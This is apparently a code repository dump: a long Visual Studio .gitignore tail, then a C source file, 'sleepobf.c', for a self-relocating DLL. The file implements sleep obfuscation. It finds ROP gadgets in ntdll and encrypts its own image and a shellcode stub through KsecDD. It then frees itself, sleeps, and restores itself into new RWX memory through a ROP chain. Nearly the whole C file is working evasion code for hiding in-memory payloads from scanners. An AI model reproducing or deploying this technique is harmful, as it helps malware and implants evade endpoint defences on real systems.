| # !tools/packages.config 337 | 338 | # Tabs Studio 339 | *.tss 340 | 341 | # Telerik's JustMock configuration file 342 | *.jmconfig 343 | 344 | # BizTalk build output 345 | *.btp.cs 346 | *.btm.cs 347 | *.odx.cs 348 | *.xsd.cs 349 | 350 | # OpenCover UI analysis results 351 | OpenCover/ 352 | 353 | # Azure Stream Analytics local run output 354 | ASALocalRun/ 355 | 356 | # MSBuild Binary and Structured Log 357 | *.binlog 358 | 359 | # NVidia Nsight GPU debugger configuration file 360 | *.nvuser 361 | 362 | # MFractors (Xamarin productivity tool) working folder 363 | .mfractor/ 364 | 365 | # Local History for Visual Studio 366 | .localhistory/ 367 | 368 | # Visual Studio History (VSHistory) files 369 | .vshistory/ 370 | 371 | # BeatPulse healthcheck temp database 372 | healthchecksdb 373 | 374 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 375 | MigrationBackup/ 376 | 377 | # Ionide (cross platform F# VS Code tools) working folder 378 | .ionide/ 379 | 380 | # Fody - auto-generated XML schema 381 | FodyWeavers.xsd 382 | 383 | # VS Code files for those working on multiple tools 384 | .vscode/* 385 | !.vscode/settings.json 386 | !.vscode/tasks.json 387 | !.vscode/launch.json 388 | !.vscode/extensions.json 389 | *.code-workspace 390 | 391 | # Local History for Visual Studio Code 392 | .history/ 393 | 394 | # Windows Installer files from build outputs 395 | *.cab 396 | *.msi 397 | *.msix 398 | *.msm 399 | *.msp 400 | 401 | # JetBrains Rider 402 | *.sln.iml -------------------------------------------------------------------------------- /self_moving_dll/sleepobf.c: -------------------------------------------------------------------------------- 1 | #include "sleepobf.h" 2 | #include "utils.h" 3 | 4 | #define IOCTL_KSEC_ENCRYPT_MEMORY CTL_CODE( FILE_DEVICE_KSEC, 0x03, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 5 | #define IOCTL_KSEC_DECRYPT_MEMORY CTL_CODE( FILE_DEVICE_KSEC, 0x04, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 6 | 7 | typedef struct _ROP_STACK_FRAME { 8 | // pop rcx; ret --> pop rdx; ret --> pop r8; r9; r10; r11; ret 9 | // --> func --> next stack frame 10 | uint8_t* pop_rcx_gadget; 11 | // pop rcx; ret 12 | uint64_t arg_1; 13 | 14 | uint8_t* pop_rdx_gadget; 15 | // pop rdx; ret 16 | uint64_t arg_2; 17 | 18 | // pop r8; r9; r10; r11; ret 19 | uint8_t* pop_r8_r9_r10_r11_gadget; 20 | uintptr_t arg_3; 21 | uintptr_t arg_4; 22 | uintptr_t r10; 23 | uintptr_t r11; 24 | 25 | uint8_t* func_addr; 26 | 27 | uint8_t* add_rsp_216_gadget; // <-- +80 28 | uint8_t shadow_space[32]; // <-- +88 // next stack frame will be 216 bytes from here 29 | 30 | uintptr_t arg_5; 31 | uintptr_t arg_6; 32 | uintptr_t arg_7; 33 | uintptr_t arg_8; 34 | uintptr_t arg_9; 35 | uintptr_t arg_10; 36 | 37 | uint8_t filler[136]; // so that next struct will be 216 bytes away from 38 | } ROP_STACK_FRAME; 39 | 40 | struct { 41 | BOOL initialized; 42 | uint8_t* ret; 43 | uint8_t* pop_rcx; 44 | uint8_t* pop_rdx; 45 | uint8_t* pop_r8_9_10_11; 46 | uint8_t* add_rsp_216; 47 | } gadgets = { 0 }; 48 | 49 | typedef struct _ROP_INFO { 50 | // file handle to \Device\KsecDD for encryption and decryption 51 | HANDLE ksecdd_handle; 52 | IO_STATUS_BLOCK ksecdd_iostat; 53 | 54 | void* orig_image_base; 55 | 56 | // --> NtFreeVirtualMemory (payload) 57 | void* image_base_1; 58 | size_t image_size_1; 59 | 60 | // --> NtDelayExecution 61 | LARGE_INTEGER interval; 62 | 63 | // --> NtAllocateVirtualMemory RWX (payload) 64 | void* new_image_base; 65 | size_t image_size_2; 66 | 67 | // --> NtAllocateVirtualMemory RWX (pointer relocation shellcode) 68 | void* shell_memory_block; 69 | size_t shell_memory_block_size; 70 | 71 | size_t shell_size; 72 | 73 | BOOL ropped; 74 | CONTEXT saved_ctx; 75 | CONTEXT rop_ctx; 76 | 77 | void* shell_copy; 78 | void* payload_copy; 79 | 80 | // memcpy_s within ntdll.dll 81 | void* ntdll_memmove; 82 | 83 | ROP_STACK_FRAME* frames; 84 | } ROP_INFO; 85 | 86 | ROP_INFO* s = NULL; 87 | 88 | 89 | /* 90 | this function will be loaded into a second RWX section, in the rop chain after sleep completes 91 | and then freed 92 | all just to fix a rip in the saved context 93 | 94 | since this is a position independent shellcode, global variables cannot be used 95 | so the ROP_INFO struct must be passed in 96 | */ 97 | void relocate_pointer(ROP_INFO* rop_info, void** p_expired_pointer) { 98 | // calculate rva of expired pointer 99 | int rva = *(uint8_t**)p_expired_pointer - rop_info->orig_image_base; 100 | *p_expired_pointer = (uint8_t*)rop_info->new_image_base + rva; 101 | } 102 | 103 | void relocate_pointer_endstub() {} 104 | 105 | /* 106 | dll will be self relocating to a new location 107 | 108 | all pointers pointing to memory within the payload will be corrupted 109 | required to be marked to be relocated 110 | 111 | return addresses will be fixed through stack unwinding 112 | */ 113 | 114 | void sleep_obf(LONGLONG sleep_time) { 115 | if (!gadgets.initialized) { 116 | uint8_t* ntdll = get_loaded_module(L"ntdll.dll"); 117 | gadgets.ret = pattern_scan_section(ntdll, ".text", "\xC3", "x"); 118 | gadgets.pop_rcx = pattern_scan_section(ntdll, ".text", "\x59\xC3", "xx"); 119 | gadgets.pop_rdx = pattern_scan_section(ntdll, ".text", "\x5A\xC3", "xx"); 120 | gadgets.pop_r8_9_10_11 = pattern_scan_section(ntdll, ".text", "\x41\x58\x41\x59\x41\x5A\x41\x5B\xC3", "xxxxxxxxx"); 121 | gadgets.add_rsp_216 = pattern_scan_section(ntdll, ".text", "\x48\x81\xC4\xD8\x00\x00\x00\xC3", "xxxxxxxx"); 122 | gadgets.initialized = TRUE; 123 | } 124 | 125 | if (!s) { 126 | s = calloc(1, sizeof(ROP_INFO)); 127 | } 128 | 129 | if (!s->ksecdd_handle) { 130 | UNICODE_STRING uni_str = { 0 }; 131 | OBJECT_ATTRIBUTES ksecdd_obj = { 0 }; 132 | 133 | RtlInitUnicodeString(&uni_str, L"\\Device\\KsecDD"); 134 | InitializeObjectAttributes(&ksecdd_obj, &uni_str, NULL, NULL, NULL); 135 | 136 | NtOpenFile(&s->ksecdd_handle, SYNCHRONIZE | FILE_READ_DATA, &ksecdd_obj, &s->ksecdd_iostat, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0); 137 | } 138 | 139 | s->interval.QuadPart = -sleep_time * 10000; 140 | 141 | if (!s->shell_copy) { 142 | s->shell_copy = calloc(1, s->shell_size); 143 | } 144 | 145 | if (!s->payload_copy) { 146 | s->payload_copy = calloc(1, g_image_size); 147 | } 148 | 149 | if (!s->ntdll_memmove) { 150 | uint8_t* ntdll = get_loaded_module(L"ntdll.dll"); 151 | s->ntdll_memmove = find_export(ntdll, "memmove"); 152 | } 153 | 154 | s->orig_image_base = s->image_base_1 = g_image_base; 155 | s->new_image_base = NULL; 156 | s->shell_memory_block = NULL; 157 | s->shell_size = (uint8_t*)relocate_pointer_endstub - (uint8_t*)relocate_pointer; 158 | s->shell_memory_block_size = 0x1000; 159 | s->image_size_1 = s->image_size_2 = g_image_size; 160 | 161 | s->ropped = FALSE; 162 | 163 | RtlCaptureContext(&s->saved_ctx); 164 | 165 | // cleanup function 166 | if (s->ropped == TRUE) { 167 | g_image_base = s->new_image_base; 168 | 169 | memset(s->payload_copy, 0, g_image_size); 170 | memset(s->shell_copy, 0, s->shell_size); 171 | 172 | s->shell_memory_block_size = 0; 173 | NtFreeVirtualMemory(-1, &s->shell_memory_block, &s->shell_memory_block_size, MEM_RELEASE); 174 | 175 | // fix return addresses 176 | void* return_addresses[15] = { 0 }; 177 | int stack_depth = get_callstack(&s->saved_ctx, return_addresses, array_len(return_addresses)); 178 | 179 | for (int i = 0; i < stack_depth; i++) { 180 | relocate_pointer(s, &return_addresses[i]); 181 | } 182 | 183 | return; 184 | } 185 | 186 | 187 | // save encrypted copy of the shell_relocate_pointer shellcode 188 | printf("s->shell_copy: 0x%p\n", s->shell_copy); 189 | memcpy(s->shell_copy, relocate_pointer, s->shell_size); 190 | NtDeviceIoControlFile(s->ksecdd_handle, NULL, NULL, NULL, &s->ksecdd_iostat, IOCTL_KSEC_ENCRYPT_MEMORY, s->shell_copy, s->shell_size, s->shell_copy, s->shell_size); 191 | 192 | // save encrypted copy of the payload 193 | printf("s->payload_copy: 0x%p\n", s->payload_copy); 194 | memcpy(s->payload_copy, g_image_base, g_image_size); 195 | NtDeviceIoControlFile(s->ksecdd_handle, NULL, NULL, NULL, &s->ksecdd_iostat, IOCTL_KSEC_ENCRYPT_MEMORY, s->payload_copy, g_image_size, s->payload_copy, g_image_size); 196 | 197 | int frame_count = 14; 198 | { 199 | if (!s->frames) { 200 | s->frames = calloc(frame_count, sizeof(ROP_STACK_FRAME)); 201 | } 202 | 203 | // rop chain goes brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr !! 204 | ROP_STACK_FRAME* f_puts_1 = &s->frames[0]; 205 | ROP_STACK_FRAME* f_free = &s->frames[1]; 206 | ROP_STACK_FRAME* f_sleep = &s->frames[2]; 207 | 208 | ROP_STACK_FRAME* f_allocate_payload = &s->frames[3]; 209 | ROP_STACK_FRAME* f_decrypt_payload = &s->frames[4]; 210 | ROP_STACK_FRAME* f_load_dst_copy_decrypted_payload = &s->frames[5]; // insert the new image base to 1st parameter of f_copy_decrypted_payload (ntdll!memcpy) 211 | ROP_STACK_FRAME* f_copy_decrypted_payload = &s->frames[6]; 212 | 213 | ROP_STACK_FRAME* f_allocate_shellcode = &s->frames[7]; 214 | ROP_STACK_FRAME* f_decrypt_shellcode = &s->frames[8]; 215 | ROP_STACK_FRAME* f_load_dst_copy_decrypted_shellcode = &s->frames[9]; // insert the allocated shellcode space address into the 1st parameter of f_copy_decrypted_shellcode (ntdll!memcpy) 216 | ROP_STACK_FRAME* f_copy_decrypted_shellcode = &s->frames[10]; 217 | 218 | ROP_STACK_FRAME* f_load_funcaddr_update_rip_ctx = &s->frames[11]; // insert shell_relocate_pointer to the .func_addr of f_update_rip_ctx 219 | ROP_STACK_FRAME* f_update_rip_ctx = &s->frames[12]; // call our shell_relocate_pointer function, to fix the rip in the saved context 220 | ROP_STACK_FRAME* f_restore = &s->frames[13]; 221 | 222 | *f_puts_1 = (ROP_STACK_FRAME){ .func_addr = puts, .arg_1 = "freeing payload and sleeping..." }; 223 | 224 | // 225 | // FREE & SLEEP 226 | // 227 | 228 | *f_free = (ROP_STACK_FRAME){ 229 | .func_addr = NtFreeVirtualMemory, 230 | .arg_1 = -1, 231 | .arg_2 = &s->image_base_1, 232 | .arg_3 = &s->image_size_1, 233 | .arg_4 = MEM_RELEASE 234 | }; 235 | 236 | *f_sleep = (ROP_STACK_FRAME){ 237 | .func_addr = NtDelayExecution, 238 | .arg_1 = FALSE, 239 | .arg_2 = &s->interval 240 | }; 241 | 242 | // 243 | // PAYLOAD 244 | // 245 | 246 | *f_allocate_payload = (ROP_STACK_FRAME){ 247 | .func_addr = NtAllocateVirtualMemory, 248 | .arg_1 = -1, 249 | .arg_2 = &s->new_image_base, 250 | .arg_3 = 0, 251 | .arg_4 = &s->image_size_2, 252 | .arg_5 = MEM_COMMIT | MEM_RESERVE, 253 | .arg_6 = PAGE_EXECUTE_READWRITE 254 | }; 255 | 256 | *f_decrypt_payload = (ROP_STACK_FRAME){ 257 | .func_addr = NtDeviceIoControlFile, 258 | .arg_1 = s->ksecdd_handle, 259 | .arg_2 = NULL, 260 | .arg_3 = NULL, 261 | .arg_4 = NULL, 262 | .arg_5 = &s->ksecdd_iostat, 263 | .arg_6 = IOCTL_KSEC_DECRYPT_MEMORY, 264 | .arg_7 = s->payload_copy, 265 | .arg_8 = g_image_size, 266 | .arg_9 = s->payload_copy, 267 | .arg_10 = g_image_size 268 | }; 269 | 270 | *f_load_dst_copy_decrypted_payload = (ROP_STACK_FRAME){ 271 | .func_addr = s->ntdll_memmove, 272 | .arg_1 = &f_copy_decrypted_payload->arg_1, 273 | .arg_2 = &s->new_image_base, 274 | .arg_3 = sizeof(uintptr_t) 275 | }; 276 | 277 | *f_copy_decrypted_payload = (ROP_STACK_FRAME){ 278 | .func_addr = s->ntdll_memmove, 279 | .arg_1 = NULL, // <-- loaded during rop 280 | .arg_2 = s->payload_copy, 281 | .arg_3 = g_image_size 282 | }; 283 | 284 | 285 | // 286 | // SHELLCODE 287 | // 288 | 289 | *f_allocate_shellcode = (ROP_STACK_FRAME){ 290 | .func_addr = NtAllocateVirtualMemory, 291 | .arg_1 = -1, 292 | .arg_2 = &s->shell_memory_block, 293 | .arg_3 = 0, 294 | .arg_4 = &s->shell_memory_block_size, 295 | .arg_5 = MEM_COMMIT | MEM_RESERVE, 296 | .arg_6 = PAGE_EXECUTE_READWRITE 297 | }; 298 | 299 | *f_decrypt_shellcode = (ROP_STACK_FRAME){ 300 | .func_addr = NtDeviceIoControlFile, 301 | .arg_1 = s->ksecdd_handle, 302 | .arg_2 = NULL, 303 | .arg_3 = NULL, 304 | .arg_4 = NULL, 305 | .arg_5 = &s->ksecdd_iostat, 306 | .arg_6 = IOCTL_KSEC_DECRYPT_MEMORY, 307 | .arg_7 = s->shell_copy, 308 | .arg_8 = s->shell_size, 309 | .arg_9 = s->shell_copy, 310 | .arg_10 = s->shell_size 311 | }; 312 | 313 | *f_load_dst_copy_decrypted_shellcode = (ROP_STACK_FRAME){ 314 | .func_addr = s->ntdll_memmove, 315 | .arg_1 = &f_copy_decrypted_shellcode->arg_1, 316 | .arg_2 = &s->shell_memory_block, 317 | .arg_3 = sizeof(uintptr_t) 318 | }; 319 | 320 | *f_copy_decrypted_shellcode = (ROP_STACK_FRAME){ 321 | .func_addr = s->ntdll_memmove, 322 | .arg_1 = NULL, // <-- loaded during rop 323 | .arg_2 = s->shell_copy, 324 | .arg_3 = s->shell_size 325 | }; 326 | 327 | // 328 | // FIX RIP IN SAVED CONTEXT 329 | // 330 | 331 | *f_load_funcaddr_update_rip_ctx = (ROP_STACK_FRAME){ 332 | .func_addr = s->ntdll_memmove, 333 | .arg_1 = &f_update_rip_ctx->func_addr, 334 | .arg_2 = &s->shell_memory_block, 335 | .arg_3 = sizeof(uintptr_t) 336 | }; 337 | 338 | *f_update_rip_ctx = (ROP_STACK_FRAME){ 339 | .func_addr = NULL, // <-- loaded during rop, relocate_pointer shellcode, 340 | .arg_1 = s, 341 | .arg_2 = &s->rop_ctx.Rip 342 | }; 343 | 344 | 345 | // 346 | // RESTORE 347 | // 348 | 349 | *f_restore = (ROP_STACK_FRAME){ 350 | .func_addr = RtlRestoreContext, 351 | .arg_1 = &s->saved_ctx 352 | }; 353 | } 354 | 355 | for (int i = 0; i < frame_count; i++) { 356 | ROP_STACK_FRAME* frame = &s->frames[i]; 357 | frame->pop_rcx_gadget = gadgets.pop_rcx; 358 | frame->pop_rdx_gadget = gadgets.pop_rdx; 359 | frame->pop_r8_r9_r10_r11_gadget = gadgets.pop_r8_9_10_11; 360 | frame->add_rsp_216_gadget = gadgets.add_rsp_216; 361 | } 362 | 363 | RtlCaptureContext(&s->rop_ctx); 364 | s->rop_ctx.Rsp = s->frames; 365 | s->rop_ctx.Rip = gadgets.ret; 366 | s->ropped = TRUE; 367 | 368 | printf("s: 0x%p\n", s); 369 | for (int i = 0; i < frame_count; i++) { 370 | printf("frame[%d]: 0x%p\n", i, &s->frames[i]); 371 | } 372 | 373 | RtlRestoreContext(&s->rop_ctx, NULL); 374 | } --------------------------------------------------------------------------------